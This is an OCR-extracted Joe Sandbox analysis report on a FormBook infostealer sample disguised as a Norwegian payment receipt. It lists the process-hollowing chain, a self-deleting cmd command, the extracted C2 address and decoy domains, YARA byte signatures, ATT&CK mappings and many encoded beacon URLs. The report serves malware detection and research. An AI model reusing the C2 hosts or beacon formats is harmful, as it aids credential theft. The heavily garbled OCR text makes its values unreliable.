JOESandbox Cloud™*

ID: 510324

Sample Name:
Betalingskvittering.exe
Cookbook: default.jbs

Time: 17:48:33

Date: 27/10/2021

Version: 33.0.0 White Diamond



Table of Contents

Table of Contents

Windows Analysis Report Betalingskvittering.exe

Overview
General Information
Detection
Signatures
Classification
Process Tree

Malware Configuration
Threatname: FormBook

Yara Overview
Memory Dumps
Unpacked PEs

Sigma Overview

Jbx Signature Overview
AV Detection:
Networking:
E-Banking Fraud:
System Summary:
Hooking and other Techniques for Hiding and Protection:
Malware Analysis System Evasion:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:
Remote Access Functionality:

Mitre Att&ck Matrix
Behavior Graph

©WOW O Wo~N~N~N~N~N~N~N~N~N~NoaOADMDAMSSNDNDDN

Screenshots
Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection 10
Initial Sample 10
Dropped Files 10
Unpacked PE Files 10
Domains 11
URLs 11
Domains and IPs 11
Contacted Domains 11
Contacted URLs 11
URLs from Memory and Binaries 12
Contacted IPs 12
Public 12
General Information 12
Simulations 13
Behavior and APIs 13
Joe Sandbox View / Context 13
IPs 13
Domains 16
ASN 17
JA3 Fingerprints 18
Dropped Files 18
Created / dropped Files 18
Static File Info 18
General 18
File Icon 19
Static PE Info 19
General 19
Entrypoint Preview 19
Rich Headers 19
Data Directories 19
Sections 19
Resources 20
Imports 20
Possible Origin 20
Network Behavior 20
Snort IDS Alerts 20
Network Port Distribution 20
TCP Packets 20
UDP Packets 20
DNS Queries 20
DNS Answers 21
HTTP Request Dependency Graph 22
HTTP Packets 22
Code Manipulations 27
Statistics 27
Behavior 27

Copyright Joe Security LLC 2021 Page 2 of 31



System Behavior 27

Analysis Process: Betalingskvittering.exe PID: 6364 Parent PID: 1612 27
General 27
File Activities 28

File Created 28
File Deleted 28
File Written 28
File Read 28

Analysis Process: Betalingskvittering.exe PID: 6404 Parent PID: 6364 28
General 28
File Activities 29

File Read 29

Analysis Process: explorer.exe PID: 3440 Parent PID: 6404 29
General 29
File Activities 30

Analysis Process: cmd.exe PID: 6836 Parent PID: 3440 30
General 30
File Activities 30

File Read 30

Analysis Process: cmd.exe PID: 6928 Parent PID: 6836 31
General 31
File Activities 31

Analysis Process: conhost.exe PID: 6956 Parent PID: 6928 31
General 31

Disassembly 31

Code Analysis 31

Copyright Joe Security LLC 2021 Page 3 of 31



Windows Analysis Report Betalingskvittering.exe

Overview
General Information Detection Signatures Classification
Sample Betalingskvittering.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 510324 Snort IDS alert for network traffic (e....
MDS: ff9041702d5767d.. Yara detected FormBook
SHAL:
ae326e46c0a764.. Malicious sample detected (through ...
SHA256: ee4b441c93ac2e..
System process connects to networ
Antivirus detection for URL or domain
Infos: Dagsgnqe ,
- Sample uses process hollowing tech...
v

. . Maps a DLL or, memory area in
Most interesting Screenshot: P Y

FormBook Machine Learning detection for samp...
Score: 100 Performs DNS queries to.domains w...
Range: 0-100 Self deletion via cmd delete
Whitelisted: false
X Injects a PE file into/a foreign proce...
Confidence: 100%
ree
= System is w10x64
e ™ Betalingskvittering.exe (PID: 6364 cmdline: 'C:\Users\user\Desktop\Betalingskvittering.exe’ MD5: FF904170AD5767DB6B6066400972CC99)

e [ Betalingskvittering.exe (PID: 6404 cmdline: 'C:\Users\user\Desktop\Betalingskvittering.exe' MD5: FF904170AD5767DB6B6066400972CC99)
o [ explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
cmd.exe (PID: 6836 cmdline: C:\Windows\SysWOWe64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
Bl cmd.exe (PID: 6928 cmdline: /c del 'C:\Users\user\Desktop\Betalingskvittering.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.bbyyn10.xyz/bOus/"

1,

"decoy": [
"wxoi.xyz",
"boss-note-to-look-today.info",
"rxgmarket.com",
"vyfstudio.com",
"insularrofioa.xyz",
"psikologtenaysude.com”,
"hepatitiscsignssymptons.space”,
"toadvalleyfarm.com”,
"rhinobeds.com”,
"joystoreworld.com",
"wethinky.com",
"cucciolamores.com”,
"finansresultation.com”,
"criptodigital.online”,
"cave21shop.com”,
"ryannaat.xyz",
"xn--ngbr@em.com",
"olympiaapartment.com”,
"asrendo.com",
"dashmints.com",
"hampadco.com",
"hoanghuong. group",
"yamamoto-d-c.net",
"cynthiaessential.com”,
"malatirada.com”,
"c5group-th.com”,
"v9ayiditq3.com",
"tucows.website",
"patinamedicalgroup.com”,
"xn- -vckvb6c8f088nlxg8mqrwid.com”,
"securetravel. trade”,
"eachallness.center”,
"vongquaymembersshipvn.com",
"sexbattu.com",
"libertymattersmost.net"”,
"improvfilmproduction.com",
"cryptohealthplan.com”,
"pandabearsoftware.com”,
"mininoheya.com",
"chimichael.com",
"rescueandrestoreministries.net”,
"alookbehindtheseams.com",
"unimedplanos.net”,
"bobazzing.com",
"cabidat.xyz",
"playgroundcrew.website”,
"tsoharformation.com"”,
"ninjadigital.agency”,
"inkedbreadcompany.com"”,
"kirieducationschool.com",
"genitalestetikbodrum.com"”,
"agronotion.com”,
"bentonvillesquareartist.com”,
"harekrishnajapayagna.com”,
"fflashes.net",
"stogelair.com"”,
"stkittsaquaculture.com”,
"peiyaousa.com”,
"publicschools. fail”,
"bankhelpassist.xyz",
"ip-sat.com",
"redeyeops.com”,
"kavirab.com",

"thefurniturepractice-btr.com”

Yara Overview

Memory Dumps

Source Rule

00000007.00000002.612889234.00000000028F0000.00000 JoeSecurity_FormBook
004.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

Rule

00000007.00000002.612889234.00000000028F0000.00000 Formbook_1

004.00000001.sdmp

00000007.00000002.612889234.00000000028F0000.00000 Formbook

004.00000001.sdmp

00000001.00000002.408929126.00000000008E
0000.00000040.00020000.sdmp

00000001.00000002.408929126.00000000008E
0000.00000040.00020000.sdmp

Unpacked PEs

Source

1.1.Betalingskvittering.exe.400000.0.unpack

1.1.Betalingskvittering.exe.400000.0.unpack

1.1.Betalingskvittering.exe.400000.0.unpack

1.1.Betalingskvittering.exe.400000.0.raw.unpack

1.1.Betalingskvittering.exe.400000.0.raw.unpack

Copyright Joe Security LLC 2021

Description

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

JoeSecurity_FormBook  Yara detected

Formbook_1

Rule

FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 31 entries

Description

JoeSecurity_FormBook  Yara detected

Formbook_1

Formbook

JoeSecurity_FormBook

Formbook_1

FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 28 entries

Author

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Author

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Strings
e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ac9:$sqlite3step: 68 34 1C 7B E1
0x16bdc:$sqlite3step: 68 34 1C 7B E1
0x16af8:$sqlite3text: 68 38 2A 90 C5
0x16c1d:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 739585 C9 74 91
Ox147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x15cc9:$sqlite3step: 68 34 1C 7B E1
0x15ddc:$sqlite3step: 68 34 1C 7B E1
0x15cf8:$sqlite3text: 68 38 2A 90 C5

0x15e1d:$sqlite3text: 68 38 2A 90 C5
0x15d0b:$sqlite3blob: 68 53 D8 7F 8C
0x15e33:$sqlite3blob: 68 53 D8 7F 8C

0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
Ox146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

No Sigma rule has matched

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

]

Found malware configuration
Yara detected FormBook

Antivirus detection for URL or domain

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected FormBook

System Summary:

‘]

Malicious sample detected (through community Yara rule)

R

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

‘]

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook
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Remote Access Functionality: -i.

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Shared Valid Valid Valid Accounts oS System Time Remote Archive Exfiltration Encrypted Eavesdrop o
Accounts Modules i Accounts §§ Accounts Credential Discovery Services Collected  Over Other Channel Insecure
Dumping Data Network Network
Medium Communicat
Default Scheduled Boot or Access Token Access Token LSASS Security Software Remote Clipboard  Exfiltration Ingress Tool Exploit SS7 1
Accounts Task/Job  Logon Manipulation Manipulation Memory  Discovery Desktop Data Over Transfer Redirect Phc
Initialization Protocol Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Process Virtualization/Sandbox Security Virtualization/Sandbox SMB/Windows Data from Automated Non- Exploit SS7 1
Accounts (Windows)  Injection B Evasion Account  Evasion Admin Shares Network  Exfiltration Application Track Device
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Process NTDS Process Discovery Distributed Input Scheduled Application SIM Card
Accounts (Windows) (Mac) (Mac) Injection ﬂ Component  Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Deobfuscate/Decode LSA Remote System SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels Device
Size Limits Communicat
Replication  Launchd Rc.common Rc.common Obfuscated Filesor  Cached File and Directory VNC GUI Input  Exfiltration  Multiband Jamming or
Through Information Domain Discovery Capture  Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Software Packing DCSync System Information ~ Windows Web Exfiltration  Commonly Rogue Wi-Fi
Remote Task Items Discovery Remote Portal Over Used Port Access Poini
Services Management Capture Alternative
Protocol
Drive-by Command Scheduled Scheduled File Deletion Proc Network Service Shared Credential Exfiltration Application Downgrade t
Compromise and Task/Job Task/Job Filesystem Scanning Webroot API Over Layer Protocol Insecure
Scripting Hooking ~ Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph
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Behavior Graph
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Number of created Files
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L st e Visual Basic
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Java
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Internet
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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wg

Word 2016

VAMYDFPU

IYDFPU

8

VAMYDFPU

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label

Betalingskvittering.exe 100% Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link
1.0.Betalingskvittering.exe.400000.0.unpack 100% Avira TR/Patched.Ren.Gen2
1.1.Betalingskvittering.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen
7.2.cmd.exe.295d8d0.1.unpack 100% Avira TR/Patched.Ren.Gen
1.0.Betalingskvittering.exe.400000.3.unpack 100% Avira TR/Patched.Ren.Gen2
0.2.Betalingskvittering.exe.f010000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen
1.0.Betalingskvittering.exe.400000.5.unpack 100% Avira TR/Crypt.ZPACK.Gen
1.0.Betalingskvittering.exe.400000.2.unpack 100% Avira TR/Patched.Ren.Gen2
1.0.Betalingskvittering.exe.400000.6.unpack 100% Avira TR/Crypt.ZPACK.Gen
1.0.Betalingskvittering.exe.400000.1.unpack 100% Avira TR/Patched.Ren.Gen2
7.2.cmd.exe.31b796¢.4.unpack 100% Avira TR/Patched.Ren.Gen
1.2.Betalingskvittering.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen
0.2.Betalingskvittering.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366

Copyright Joe Security LLC 2021

Link

Download

Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
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Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
bobazzing.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp://www.malatirada.com/bOus/?ER- 0% Avira URL Cloud  safe
tHjR=nj2DHCJ30hKQOuuh7v1Ir5ANXhhKiZRTWmKDhPt9Qsa3u7kGOyWIFw/1cLMOhBLADgukMw6nkg

==&7nB=048X

hitp://www.finansresultation.com/bOus/?7nB=048X&ER- 0% AviraURL Cloud  safe

tHjR=GJIWWehbs5GtgA/{CTMLXW+d7JevtbaljivkLIpCykHSB4/chqGhz0ZWPYKEWOKJIPWZtZaAylaQ==

http:/fwww.improvfilmproduction.com/bOus/?ER- 0% Avira URL Cloud safe
tHjR=XOV60v1imgekMspvFU+0rKPDlyXSEiaRHynKCSPj1mvOyDA4pkDpWyOZGigF6MKTilgG5HmMPX

w==&7nB=048X

http:/fwww.joystoreworld.com/b0Ous/?7nB=048X&ER- 0% Avira URL Cloud safe
tHjR=gHtktScKtff4AxVk3YRyKSNbVreJpCBobm1lhD3pS9EMOhSghOP3G/ILMMDt60OL3g2Wx4R+w50g

http:/fwww.rxgmarket.com/bOus/?ER- 0% Avira URL Cloud  safe
tHjR=Jj3KnWU2wHfhK+BIDgyhqSxeJEURVrle6 TPUVLIgsqCsrOVtG9y5Fb94G4BOAZ9I+plsxBUIIQ==&7

nB=048X

http:/fwww.bobazzing.com/b0us/?7nB=048X&ER- 0% Avira URL Cloud  safe

tHjR=UBAh+VKzDimqRzzQd0O0Z1/Gg430aZbQvrcewMwqlyQU/IFKYIOb3JKuxkIDajXNdZJrP2FICqlQ==

http:/fwww.olympiaapartment.com/b0us/?7nB=048X&ER- 0% Avira URL Cloud safe
tHjR=IHM7DXqJMOIXRilvQCzDYuNSepBShfVGHLx9uFmM0ofOXeJBRLox1psSi4doyGmyzdtrRcHIstiA==

http:/fwww.insularrofioa.xyz/bOus/?ER- 0% Avira URL Cloud  safe
tHjR=NeMtgU3TUgkyahWOuk7UbKtu2f6OPWemmRyjHCkgk8IKIDy56aFQIiEm/TIxXDeQeO1MybhrnKA

==&7nB=048X

Domains and IPs

Contacted Domains

P Active Malicious Antivirus Detection Reputation

Name
inkedbreadcompany.com 34.102.136.180 true false unknown

parkingpage.namecheap.com 198.54.117.217 true false high

bobazzing.com 34.102.136.180 true false e 0%, Virustotal, Browse unknown

www.olympiaapartment.com 35.186.238.101 true false unknown

Contacted URLs
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https://www.virustotal.com/gui/url/c40763a2122ed8df06ae82336fc448aaab2f09c4e0491d28871c57807f46b8ec/detection/u-c40763a2122ed8df06ae82336fc448aaab2f09c4e0491d28871c57807f46b8ec-1632582488
https://www.virustotal.com/gui/url/c40763a2122ed8df06ae82336fc448aaab2f09c4e0491d28871c57807f46b8ec/detection/u-c40763a2122ed8df06ae82336fc448aaab2f09c4e0491d28871c57807f46b8ec-1632582488

Name Malicious Antivirus Detection Reputation

http:/fwww.bobazzing.com/b0us/?7nB=048X&ER- false e Avira URL Cloud: safe unknown
tHjR=UBAh+VKzDimgRzzQd0O0Z1/Gg430aZbQvrcwMwqlyQU/IFKYIOb3JKuxkIDajXNdZJrP2
FICqIQ==

http:/fwww.olympiaapartment.com/b0us/?7nB=048X&ER- false e Avira URL Cloud: safe unknown

tHjR=IHM7DXgJMOIXRilvQCzDYuNSepBShfVGHLx9uFmM0ofOXeJBRLox1psSi4oyGmyzdtrR

cHIstiA==

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag ASN ASN Name Malicious
198.54.117.217 parkingpage.namecheap.c United States = 22612 NAMECHEAP-NETUS false
om
35.186.238.101 www.olympiaapartment.co United States = 15169 GOOGLEUS false

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 510324

Start date: 27.10.2021

Start time: 17:48:33

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 9m 54s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Betalingskvittering.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 22

analysed:

Number of new started drivers analysed: 0
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Number of existing processes analysed: 0

Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.WinEXE@7/2@13/9
EGA Information: Failed
HDC Information: e Successful, ratio: 11.8% (good quality ratio 10.8%)

e Quality average: 72.1%
e Quality standard deviation: 31.3%

HCA Information: e Successful, ratio: 74%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
¢ Found application associated with file extension: .exe

Warnings: Show All

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

198.54.117.217 Get hash malicious Browse o www.linux
sauce.net/euzn/?
BZLH
P=YcuDf72P
rLjov77cTt
T+RdHZgYXi
gAT3c+U/UJ
pKvp19BOyU
svC11+Bo5K
kRiHOTT7aa
&TITd=3fQx
PL6PF

Get hash malicious Browse e www.gabri
ellamaxey.
com/mxnu/?
u6t=ThxXNB
VB9HE4&LZZ
xUjSP=Dbmm
FAt1laOxcCA
pgO6WI79pQ
n2fp6kjdxe
w91QKgTI9q
vdDZbTwBXJ
G52e+oCdqw
4zUT2TPOEA==
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https://view.joesandbox.com/analysis/398557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398557/html/none?idtype=webid
https://view.joesandbox.com/analysis/397700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397700/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.rh-et
.com/hht8/?
c4i4Bzu8=
YYzUAHMmMBp
kaBxQecPev
m2uxv/AgOl
ZRAEO+xcUL
TvAXNOfYBs
VeCllohnhU
DcjiLYP5&u
P=TnXTAHPP
hFZp5fGO

www.maria
dimitropou
lou.com/noha/?
3f-DJJ
=Opl7f+0I7
wz69HYhh96
y4UfCxqU+B
78KM76J860
qGty5m2eJL
I15CyDdvolU
YB300tShl&
gd=Zxox

www.gabri
ellamaxey.
com/mxnu/?
YOGX7pLH=D
bmmFAt1laOx
cCApgO6w97
9pQn2fp6kj
dxew91QKgT
19qvdDZbTw
BXJG52eyoR
NmzhjUF&0v
B0i=8pIDRx4

www.novel
tyrofjiy.x
yz/uSeh/?s
ROpj=RL30&
d6A=HQWXNF
woB6n+YGXI
30GKCBkeNA
rRdgIGFGwI
L3CxighCTa
QLC900uFmH
9gPLa3p+A/gJd

WWW.24X7X
366.com/gab8/?
YODx=k
9y8d/XvYtK
BLjwbt29ax
TfvzRBwxbj
jmcfovaXOov
rzPSMIBKv9
VOE/DCePWw
Hj/NYwY&nL
3ICO=IxIpd
H_xnP2

www.rcdat
ing.com/yjgn/?
gHd=SJ
H122Bxba+b
szdGdvPgzk
JhaNIQ8Bfl
PC5UroK/Fh
tQFKGwLmgt
uwvUsOAh6p
rSrkUZ4vn5
0A==&hZP=|
dMHgdcxDFU

www.ahkti
ps.com/eods/?
aBC8IVE
=gr9/MU9R+
Yb+ym3qu/c
gmvjNsm8J6
5aE4ndR2EO
ILnYjdHNbT
NROOAVUS5jW
KfEfcUHZh&
G4=Thut2rPX
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https://view.joesandbox.com/analysis/397396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397396/html/none?idtype=webid
https://view.joesandbox.com/analysis/396584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396584/html/none?idtype=webid
https://view.joesandbox.com/analysis/395493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395493/html/none?idtype=webid
https://view.joesandbox.com/analysis/395294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395294/html/none?idtype=webid
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid
https://view.joesandbox.com/analysis/390728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390728/html/none?idtype=webid

Match
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Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.solme
p.info/n6be/?
a6=kFO5
GIJEItEyuD
14fKksMWyf
XyXOXLYRAJ
6sNogu4SNN
FIYLrFMp5g
PNqUGPKnTk
MW34&4hYI=
8pPLKztPML
rhEvWP

* www.serpa
shoutiqued
ecarnes.co
m/mjyv/?0H
zpcX=GHHu5
allfnsie86
56YDOT+LAz
tXxb9x2Ksc
rCthu0JJ7/
YsjGk80/pP
jBXBWBSR8P
Tidx5qn+w=
=&NN=BTntMX1

e www.burna
bytowtruck
.com/etaf/?
6lttpr=AE
MTgKbuQHMy
B60GU7QAPFQ
JjWRaS7/TLQ
/9+S+kY5i3
qqw9hxTQya
yBEnz2sH/H
v/bgA7&JIFN
D6z=_84IfN-p

e www.honey
maroc.com/
ny9y/?SDH8
g=KzrToplp
RT&T2Jp=Ix
L6aa9POVk2
/nLI/TTHWU
WOayULExkH
1BVNm/J+Al
Aeldy2IVIWF
xallCH38IB
uCkgnD

e www.break
fastatbrit
tanys.com/di4c/?
G0G=
PBupkdaXnh
k&od=eONJh
OUOiIPpRcHo
ncBMkBH/I3
9GU+8VIVII
gHNQg1AXvm3
6M2WTxvlfz
iEKhUCvpIReOf

e www.traderjoes-
corp.com/cuig/?
yTbXp6=D2
cITgXAP54i
nNVSGdojjiz
70q0eAqEVT
VUKIQDXR8W
4bcHn55Paz
clr3ilQIX4
YXDdO+&9rK
PKT=2dfXcPxP_

e www.aster
oid.financ
e/b6ad/?12
J=9rutZVDX
u850SJr&c0
DH=qLtgNTo
VXxwGBDLV3p
gf7fmc+nXq
whZnGR9zX0
c9pvpxyAds
UtmU5qFwMT
QzWzRvD1UN
yKQ==
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https://view.joesandbox.com/analysis/387866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387866/html/none?idtype=webid
https://view.joesandbox.com/analysis/387090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387090/html/none?idtype=webid
https://view.joesandbox.com/analysis/383696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383696/html/none?idtype=webid
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid
https://view.joesandbox.com/analysis/381556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381556/html/none?idtype=webid
https://view.joesandbox.com/analysis/381430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381430/html/none?idtype=webid
https://view.joesandbox.com/analysis/380855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380855/html/none?idtype=webid

Match
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Match

parkingpage.namecheap.com

shops.myshopify.com
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Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
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malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

® Www.purav

idaceutica
Is.com/i9nz/?
F2JHEXo
P=sr8sB85/
9jXzXvsDoL
cXfgvBW+iX
ND+2C7ErOG
WVNyFtEWMF
H/Qc7Jksnr
1Ge8yFxs3b
&cbrD=Urop

e www.listo

twarty.net/c8ec/?
g8LhOfIX=9kIm
mb5jg4+Scs8
x1plAmwQNw
u7JKgzztTl
FjvwsigFLJ
pPMHcpTtwSq
3T1y9GRU+A
1594&p2M=S
N6LU2tHzzIXS8

° www.sewme

nship.com/rqe8/?
S48tpP=5|DD&8
1Ludbx=0I8
e0pkv5jgXu
1bpp/M/YID
E69XIif3SEJ
EPQHpmIgEU
4QgudPLiFM
5P+hjjwa+q
0GSrM

e www.tianc

onghuo.clu
b/kzk9/?0X
Ixyz4=D61r
APfTKbs2fB
SgXwtfSbl/i
2DxzAhnQYO
zC+1Bk9ZPL
8tgAxhUB/k
ywMfA8gC1B
XeBV&eJE=B
B6APWX8

Context

e 198.54.117.215
e 198.54.117.215
e 198.54.117.212
198.54.117.212

198.54.117.216

198.54.117.218

198.54.117.212
198.54.117.215

198.54.117.210

198.54.117.215

198.54.117.211

198.54.117.218

198.54.117.216

198.54.117.212

198.54.117.216

198.54.117.212

198.54.117.212

198.54.117.211

198.54.117.217

198.54.117.210

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74
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https://view.joesandbox.com/analysis/366088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366088/html/none?idtype=webid
https://view.joesandbox.com/analysis/366040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366040/html/none?idtype=webid
https://view.joesandbox.com/analysis/365034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365034/html/none?idtype=webid
https://view.joesandbox.com/analysis/363139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/363139/html/none?idtype=webid
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
